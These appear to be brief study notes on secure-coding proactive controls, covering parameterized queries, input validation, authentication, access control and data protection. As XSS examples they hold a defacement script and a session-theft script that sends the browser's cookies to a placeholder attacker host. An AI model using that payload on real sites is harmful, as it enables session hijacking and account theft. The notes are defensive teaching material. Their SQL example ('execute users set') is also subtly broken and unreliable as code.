Ordered by order of importance, with control number 1 being the most important.
- Verify for security early and often.
- Parameterize queries.
- Encode data.
- Validate all inputs.
- Implement identity and authentication controls.
- Implemente appropiate access controls.
- Protect data.
- Implement logging and intrusion detection.
- Leverage security frameworks and libraries.
- Error and exception handling.
Python Example
email = REQUEST['email']
user_id = REQUEST['id']
cur.execute('execute users set email=:new_email where id=:user_id', {'new_email': email, 'user_id': user_id})
XSS site defacement:
<script>document.body.innerHTML("Sebas was here");</script>
XSS session theft:
<script>
var img = new Image();
img.src = "http://someevilserver.com?" + document.cookie;
</script>
Types of XSS:
- Persistent (or Stored XSS)
- Reflected
- DOM based
The most secure applications treat all variables as untrusted and provide security controls regardless of the source of data.
General approaches to performing input syntax validation:
- Blacklisting
- Whitelisting
When building secure software, whitelisting is the generally preferred approach.
Care should be exercised when creating regular expressions. Poorly designed expressions may result in potential denial of service conditions (aka ReDDOS).
- Use Multi-Factor Authentication
- Something the user knows - password or PIN
- Something the user owns - token or phone
- Something the user is - biometrics
- Mobile Application: Token-Based Authentication
- Implement Secure Password Storage
- Implement Secure Password Recovery Mechanism
- Session: Generation and Expiration
- Require Reauthentication for Sensitive Features
Authentication --> Verify an identity.
Authorization --> Access to a particular feature/resource should be granted or denied.
- Force All Requests to go Through Access Control Check
- Deny by Default
- Principle of Least Privilege
- Avoid Hard-Coded Access Control Checks
- Code to the Activity
- Server-Side Trusted Data Should Drive Access Control
- Encrypting Data in Transit
- Encrypting Data at Rest
- Implement Protection Transit
- Mobile Application: Secure Local Storage